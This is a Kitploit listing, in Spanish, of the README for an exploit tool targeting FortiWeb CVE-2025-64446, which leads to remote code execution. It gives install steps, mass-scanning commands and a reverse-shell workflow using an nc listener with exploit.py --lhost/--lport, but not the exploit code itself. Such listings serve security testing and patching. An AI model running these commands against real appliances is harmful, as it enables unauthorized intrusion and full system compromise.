FortiWeb-cve-2025-64446-RCE-exploit — Herramienta de investigación de seguridad para la vulnerabilidad CVE-2025-64446 de FortiWeb. Marco de explotación automatizado con registro avanzado, métricas en tiempo real, depuración de proxy e informes profesionales. Incluye lógica de reintento, multiproceso y ajustes configurables. Solo para pruebas de seguridad autorizadas. CVSS 9.8 Crítico. | Kitploit

Atributo	Detalle
Autor	Sudeepa Wanigarathna
CVE	CVE-2025-64446
CVSS	9.8 (Crítico)
Clase	Omisión de autenticación + path traversal → subida arbitraria de archivos → RCE
Afectados	Versiones anteriores a 7.6.7 / 7.8.7 / 8.0.2 (verifique según el aviso oficial)
Mitigación	Actualizar a una versión de FortiWeb parcheada
Lenguaje	Python 3.7+
Punto de entrada	`exploit.py`

Modo	Opción(es)	Propósito
Detección	`--detect-only`	Indicadores de vulnerabilidad sin explotación
Seguro / solo lectura	`--safe-mode`	Omitir pasos de explotación que modifican el estado
Escaneo masivo	`--targets` + `--scan-mode`	Evaluación paralela de múltiples objetivos
Explotación	`--target` + `--lhost`	Cadena controlada solo en laboratorios autorizados
Ejecución en seco	`--dry-run`	Ejecutar el flujo sin aplicar cambios
Informes	`--output-dir`	Informes de la evaluación en JSON + HTML

git clone https://github.com/CerberusMrXi/FortiWeb-cve-2025-64446-RCE-exploit
cd FortiWeb-cve-2025-64446-RCE-exploit

python3 -m venv venv
source venv/bin/activate          # Linux / macOS
# venv\Scripts\activate           # Windows

pip install -r requirements.txt
python3 exploit.py --help

# Vulnerability check only (recommended first)
python3 exploit.py --target https://192.168.1.100:8443 --detect-only

# Safe / read-only checks
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode

# Mass scanning
python3 exploit.py --targets targets.txt --scan-mode --threads 10

# Authorized exploitation (requires listener host)
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444

python3 exploit.py --target https://192.168.1.100:8443 --detect-only
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --verbose
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --timeout 30

cat > targets.txt << 'EOF'
https://192.168.1.100:8443
https://192.168.1.101:8443
https://192.168.1.102:8443
EOF

python3 exploit.py --targets targets.txt --scan-mode
python3 exploit.py --targets targets.txt --scan-mode --threads 20 --verbose
python3 exploit.py --targets targets.txt --scan-mode --output-dir ./reports

# Start your listener first (example)
nc -lvnp 4444

python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --proxy http://127.0.0.1:8080
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --dry-run
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --user-agent "Research/1.0"

# config.yaml
target: https://192.168.1.100:8443
lhost: 192.168.1.50
lport: 4444
timeout: 15
threads: 5
verify_ssl: false
verbose: true
proxy: http://127.0.0.1:8080
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
output_dir: reports
log_dir: logs
detect_only: false
safe_mode: false
dry_run: false

exploit.py
├── ExploitConfig / ExploitResult / RequestMetrics   # dataclasses
├── LogManager                                       # exploit.log, errors.log, requests.log
├── Banner / StatusDisplay                           # Rich / colorama UI
├── FortiWebScanner                                  # detect-only checks (no exploit chain)
├── ScannerManager                                   # threaded multi-target scans + reports
├── FortiWebExploit                                  # single-target detect / exploit workflow
└── main()                                           # argparse + mode dispatch

Componente	Responsabilidad
`FortiWebScanner`	Comprobaciones de accesibilidad, versión e indicadores CVE
`ScannerManager`	Escaneos paralelos, resúmenes JSON/HTML, tabla resumen
`FortiWebExploit`	Sesión basada en configuración, reintentos, métricas, informes y ruta de explotación opcional
`LogManager`	Registro estructurado en archivos y consola con colores

reports/
├── report_YYYYMMDD_HHMMSS.json
├── report_YYYYMMDD_HHMMSS.html
├── scan_report.json
└── scan_report.html

logs/
├── exploit.log
├── errors.log
└── requests.log

{
  "metadata": {
    "tool_name": "FortiWeb Research Tool",
    "version": "1.0",
    "author": "Sudeepa Wanigarathna",
    "timestamp": "2026-07-31T00:02:17",
    "mode": "detect"
  },
  "target": {
    "url": "https://192.168.1.100:8443",
    "reachable": true,
    "version": "7.6.0",
    "vulnerable": true,
    "risk_level": "Critical"
  },
  "metrics": {
    "total_requests": 12,
    "average_response_time": 0.42,
    "success_rate": 0.91
  }
}

Opción	Descripción
`--target URL`	URL base de un solo FortiWeb
`--targets FILE`	Lista de objetivos separados por saltos de línea
`--lhost IP`	Host del listener (requerido para la explotación)
`--lport PORT`	Puerto del listener (predeterminado: `4444`)
`--config FILE`	Configuración YAML
`--detect-only`	Solo detección; omitir la cadena de explotación
`--scan-mode`	Escaneo de múltiples objetivos (requiere `--targets`)
`--safe-mode`	Solo lectura; omitir pasos que modifican el estado
`--dry-run`	Ejecución en seco sin aplicar cambios
`--timeout SEC`	Tiempo de espera de la solicitud (predeterminado: `15`)
`--threads N`	Número de workers de escaneo (predeterminado: `5`)
`--proxy URL`	Proxy HTTP
`--user-agent STR`	User-Agent personalizado
`-v`, `--verbose`	Registro / consola detallados
`--no-verify`	Deshabilitar la verificación de certificados TLS
`--output-dir DIR`	Directorio de informes (predeterminado: `reports`)
`--log-dir DIR`	Directorio de registros (predeterminado: `logs`)
`-h`, `--help`	Mostrar ayuda

.
├── exploit.py           # Research tool (detect / scan / exploit)
├── config.yaml          # Example configuration
├── requirements.txt     # Python dependencies
├── reports/             # Generated JSON / HTML reports
├── logs/                # Runtime logs
├── LICENSE
├── SECURITY.md
├── .gitignore
└── README.md

Campo	Valor
ID de CVE	CVE-2025-64446
Puntuación CVSS	9.8 (Crítico)
Impacto	Compromiso total del sistema cuando se explota con éxito
Corrección	Actualizar a 7.6.7, 7.8.7, 8.0.2 o posterior

Paquete	Función
`requests`, `urllib3`	Cliente HTTP
`rich`, `colorama`, `tqdm`	Interfaz de terminal y progreso
`pyyaml`	Carga de `config.yaml`


Autor	Sudeepa Wanigarathna
Incidencias	GitHub Issues para este repositorio
Seguridad	Consulte SECURITY.md · `[email protected]`

FortiWeb-cve-2025-64446-RCE-exploit

Más Populares

Acerca de

Capacidades principales

Resumen de la vulnerabilidad

📸 Capturas de pantalla

Instalación

Dependencias

Inicio rápido

Guía de uso

Modo de detección

Escaneo masivo

Modo de explotación (solo laboratorios autorizados)

Archivo de configuración

Arquitectura

Características

Detección

Informes y observabilidad

Controles operativos

Salida generada

Ejemplo de informe JSON (detección)

Referencia de comandos

Estructura del proyecto

Guía de mitigación

Aviso legal y ético

Recursos

Contribuciones

Licencia

Autor y soporte